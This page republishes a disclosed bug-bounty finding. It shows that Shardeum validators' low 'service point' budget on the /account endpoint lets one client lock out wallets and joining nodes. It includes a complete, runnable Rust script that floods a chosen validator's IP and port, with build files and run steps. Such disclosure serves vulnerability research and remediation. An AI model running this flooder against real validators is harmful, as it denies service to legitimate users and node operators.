Skip to content
DoS Audit finding Intermediate

Service point exhaustion

The /account and /tx endpoints on Shardeum validators are protected by a per-interval 'service point' budget of only 400 requests per second, which a single script can exhaust. Once exhausted, the validator refuses legitimate requests, so wallets cannot read balance or nonce data and cannot submit transactions, and new nodes cannot join.

ZhouWu Follow

Originally disclosed on Immunefi

Informational View original
  • Disclosed after under an hour

#39164 [BC-Insight] service point exhaustion

#39164 [BC-Insight] Service point exhaustion

Submitted on Jan 23rd 2025 at 18:42:04 UTC by @ZhouWu for Audit Comp | Shardeum: Core III

Description

Description

In shardeum some endpoint like /account and /tx are throttled behind a rate limit mechanism called service point. The way these point works is they're deducted each time a request is called and if the point is 0 within the x interval time , the validator will no longer serve the request until the interval time is over. The point is then reset to the initial value at the start of the next interval. According to bugbountry branch's parameter only 400 request per second is allowed to served for /account endpoint. The attack involved a script that basically exhaust these point on validator so validator can no longer serve endpoint to other legit shardeum users. Since 400 request per second is so low for modern computer, the attack is easily achievable. service point code

Impact

In evm compitable network like shardeum and ethereum ecosystem like web3.js, ether.js, metamask and other wallets want to submit transactions, they read the data of the balance to check for things like nonce and balance. Since the /account endpoint is exhausted, the rpc can no longer serve eth_getBalance and eth_getTransactionCount thus the wallet will no longer be able to read the data and will not be able to submit transactions. This will result in a denial of service attack on the network even if /inject endpoint is still avialable.

Not only that since /account endpoint is also used for node joining process if we could exhaust the endpoint to the enough validator, the network will no longer be able to accept new node to join the network.

Additionally a scenario could be that one bad validator operator can exhaust the points from other competitive validators so the chances or rpc querying account data from its node increases, therefore it can manipulate the rpc into returning bad data towards clients.

Proof of Concept

POC

Create a rust script that will send 400 request per second to /account endpoint

  1. Run the network to act as legit network running on a seperate machine independently from the machine that the exploit script will run on.
  2. create a directory save the exploit in go into the directory by doingmkdir exploit; cd exploit
  • save following code to src/main.rs
Rust
use reqwest;
use std::sync::Arc;

#[tokio::main]
async fn main() {
    let args = std::env::args().collect::<Vec<String>>();


    println!("Args{:?}", args);

    let ip = Arc::new(args[1].clone());
    let port = Arc::new(args[2].clone());

    let tps = Arc::new(500.0);


    let interval = tokio::time::Duration::from_secs_f64(1.0 / *tps as f64);
    let mut interval_timer = tokio::time::interval(interval);
    

    let client = Arc::new(reqwest::Client::new());
    loop {
        interval_timer.tick().await;

        let ip = ip.clone();
        let port = port.clone();
        let client = Arc::clone(&client);
        tokio::spawn(async move {
            let full_url = format!("http://{}:{}/account/0000000000000000000000000000000000000000000000000000000000000000", ip, port);
            let res = client.get(&full_url).send().await.expect("Connection Reset");
            let body = res.json::<serde_json::Value>().await.expect("Couldn't parse body");
            
            match body["error"].as_str() {
                Some(err) => {
                    print!("\rservice point exhausted: {}", err);
                },
                _ => {}
            }
        });
    }

}

  • save following contents to Cargo.toml
[package]
name = "service_point_exhaustion"
version = "0.1.0"
edition = "2021"

[dependencies]
reqwest = { version = "0.12.9", features = ["json"] }
serde = "1.0.217"
serde_json = "1.0.137"
tokio = { version = "1.16.1", features = ["full"] }
  • save following contents to rust-toolchain
[toolchain]
channel = "1.81.0"
  1. Run the script using cargo run -- <IP> <PORT>. For example cargo run -- 1.1.1.1 9001
  2. Using your browser or http client to act as legit user and check the victim of the ip and port you input if the /account endpoint is no longer available to serve request. It will return with node busy.

The original report as published on Immunefi, by ZhouWu. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the per-interval request budget for public endpoints is set too low and is shared per validator, so a single client can consume it and lock out everyone else.

Impact

Legitimate wallets could be unable to read balance and nonce data and therefore unable to submit transactions, and the network could be unable to accept new nodes, amounting to a denial of service even though /inject remains available.

What the attacker needed

Network access to a validator's RPC port; ability to send ~400 requests per second

How it was found

  1. Run a legitimate Shardeum network on a separate machine from the attacker's.
  2. Create a Rust project directory for the exploit script.
  3. Add the script source, Cargo manifest and toolchain file to the project.
  4. Run the script against the target validator's IP and port.
  5. Check from a normal client that the /account endpoint now returns 'node busy'.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A validator is a computer that runs the blockchain network and answers requests from wallets. It limits how many requests it will answer in a short window, but the limit is low enough that one attacker can use up the whole allowance. When that happens, ordinary users are turned away and their wallets cannot check balances or send transactions.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by ZhouWu

View all

14 more disclosed reports, best first.

More from Shardeum: Core III

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.